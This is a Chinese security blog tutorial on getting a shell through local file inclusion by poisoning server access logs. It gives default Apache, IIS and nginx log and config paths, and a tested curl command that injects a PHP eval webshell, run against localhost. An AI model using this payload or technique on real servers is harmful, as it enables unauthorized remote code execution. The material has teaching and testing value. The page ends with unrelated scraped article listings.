包含日志文件getshell
 
 
一、包含日志文件漏洞利用概述
 
        当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。二、漏洞利用条件
       (1) 日志的物理存放路径
       (2) 存在文件包含漏洞

 

(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)

(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径

一)日志默认路径
 
(1) apache+Linux日志默认路径
 
        /etc/httpd/logs/access_log
 
或者
               
        /var/log/httpd/access_log
 
(2) apache+win2003日志默认路径
 
        D:\xampp\apache\logs\access.log
        D:\xampp\apache\logs\error.log
 
(3) IIS6.0+win2003默认日志文件
 
        C:\WINDOWS\system32\Logfiles
 
(4) IIS7.0+win2003 默认日志文件
 
        %SystemDrive%\inetpub\logs\LogFiles
 
(5) nginx 日志文件
 
        日志文件在用户安装目录logs目录下
                以我的安装路径为例/usr/local/nginx,
                那我的日志目录就是在/usr/local/nginx/logs里
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
二)web中间件默认配置
 
(1) apache+linux 默认配置文件
 
        /etc/httpd/conf/httpd.conf
或者
         index.php?page=/etc/init.d/httpd
 
(2) IIS6.0+win2003 配置文件
 
        C:/Windows/system32/inetsrv/metabase.xml
 
(3) IIS7.0+WIN 配置文件
 
        C:\Windows\System32\inetsrv\config\applicationHost.config
        

四、实践测试记录       一) 工具准备       (1) curl 命令行url访问工具或者       (2) burpsuit 代理工具
       二)使用浏览器直接构造一句话写入日志测试记录             (1)浏览器构造一句话报错       首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中;       具体构造内容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>

                ">"  ----> 小于号被转码为了 %3E
                " "   ----> 空格被转码为了 %20
                最后写入到日志文件中的一句话就变成了  %3C?php%20@eval($_POST[123]);?%3E。
         (4) 失败总结
                 浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
           
      三)curl 构造一句话,写入日志文件测试记录
       (1) curl 构造一句话写入服务日志文件             构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
 
   
                
              curl构造一句话时,需要注意两点:
               1)请求的资源对象,需要被双引号包含,不然会报错;
            2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 \[ \],不然curl使用时也会报错;
        (2)测试结果:成功
  
 
             
 
       (3) 成功原因
              Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;
 
        四)burpsuit 代理抓包改包构造一句话写入日志文件
 
       (1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
 
 
       (2) 测试记录:成功
        通过文件包含直接访问服务日志文件,发现一句话被继续成功; 
 
 
       (3)成功原因
        使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。    
 

包含日志文件getshell的更多相关文章

  1. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  2. 利用日志文件getshell

    一.包含日志文件漏洞利用概述           当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件.        利用思路也比较简单,当我们访 ...

  3. 扔掉log4j、log4j2,自己动手实现一个多功能日志记录框架,包含文件,数据库日志写入,实测5W+/秒日志文件写入,2W+/秒数据库日志写入,虽然它现在还没有logback那么强大

    讲到log4j,现在国外基本是没有开发者用这个框架了,原因大致有几点,1.功能太少:2.效率低下:3.线程锁bug等等等各种莫名其妙的bug一直都没解决. 其实最重要的是log4j的作者自己也放弃了l ...

  4. 【.net 深呼吸】写入日志文件

    记录日志,一方面可以把日志写入系统的日志存储中,可在“事件查看器”窗口中查看:如果不喜欢写到系统的日志文件中,也可以写到自己定义的文件中. 其实,日志文件就是文本文件,可能有朋友会想到用写入文本文件的 ...

  5. [转]ASP.NET Core 开发-Logging 使用NLog 写日志文件

    本文转自:http://www.cnblogs.com/Leo_wl/p/5561812.html ASP.NET Core 开发-Logging 使用NLog 写日志文件. NLog 可以适用于 . ...

  6. ORACLE告警日志文件

    告警日志介绍 告警日志文件是一类特殊的跟踪文件(trace file).告警日志文件命名一般为alert_<SID>.log,其中SID为ORACLE数据库实例名称.数据库告警日志是按时间 ...

  7. ORACLE 移动数据文件 控制文件 重做日志文件

    ORACLE数据库有时候需要对存储进行调整,增加分区.IO调优等等,此时需要移动数据文件.重做日志文件.控制文件等等,下文结合例子总结一下这方面的知识点. 进行数据文件.重做日志文件.控制文件的迁移前 ...

  8. 如何让Log4net日志文件按每月归成一个文件夹,StaticLogFileName参数的用法

    想要让Log4net日志(以下称日志)按每月自动归类为一个文件夹,为此,学习和修改了log4net.config文件.查了资料,重点是以下这些参数:      <param name=" ...

  9. ubuntu/var/log/下各个日志文件

    ubuntu/var/log/下各个日志文件 本文简单介绍ubuntu/var/log/下各个日志文件,方便出现错误的时候查询相应的log   /var/log/alternatives.log-更新 ...

随机推荐

  1. You Are the One

    题意: 有n个人排队,第i个入场的人x的不愉快度是$D_x*(i-1)$,现在给你n个人在队伍中的位置, 你可以用一个栈让一个人后面的人先进入,问最小的不愉快度是多少. 解法: 考虑注意到用栈调整次序 ...

  2. Qt Creator Theme FlatDark 配色

    1.预处理指令,宏定义 颜色 #FF6AAD 2.普通代码 颜色 #D6CF9A 3.头文件 #D69545 4.系统限定符(namespace, class, public, typedef等)  ...

  3. c++中虚函数与纯虚函数的区别(转)

    首先:强调一个概念定义一个函数为虚函数,不代表函数为不被实现的函数.定义他为虚函数是为了允许用基类的指针来调用子类的这个函数.定义一个函数为纯虚函数,才代表函数没有被实现.定义纯虚函数是为了实现一个接 ...

  4. Bootstrap 自适应排列顺序

    一.前用 我们在做一些页面的设计时,总会想到自适应的问题.其实 Bootstrap 框架就很好的融合这个问题了.下面是我学习 Bootstrap 的总结. 二.问题来源 我为什么会遇见这个问题,是因为 ...

  5. GIL 已经被杀死了么?

    GIL 已经被杀死了么? 本文原创并首发于公众号[Python猫],未经授权,请勿转载. 原文地址:https://mp.weixin.qq.com/s/8KvQemz0SWq2hw-2aBPv2Q ...

  6. 洛谷 - P2158 - 仪仗队 - 欧拉函数

    https://www.luogu.org/problemnew/show/P2158 好像以前有个妹子收割铲也是欧拉函数. 因为格点直线上的点,dx与dy的gcd相同,画个图就觉得是欧拉函数.但是要 ...

  7. IOS11 - UINavigationItem大标题,搜索栏实现

    1.新建模型 class Contact: NSObject { var name : String? var mobile : String?{ didSet{ { mobileString = m ...

  8. HDU3065【AC自动机-AC感言】

    Fourth AC zi dong ji(Aho-Corasick Automation) of life 9A(其实不止交了10发...) 感言: 一开始多组数据这种小数据还是...无伤大局,因为改 ...

  9. 理解Bitcode:一种中间代码

    原文网址: http://www.cocoachina.com/ios/20150818/13078.html 今天试着用Xcode 7 beta 3在真机(iOS 8.3)上运行一下我们的工程,结果 ...

  10. ubuntu 安装 RPostgreSQL 库

    其实大家在Linux 的R 中安装其他库,完全可以使用R 自带的安装方式,只是这个 RPostgreSQL 库需要用到 postgresql 的lib 库与include 头文件,所以才有若干个步骤去 ...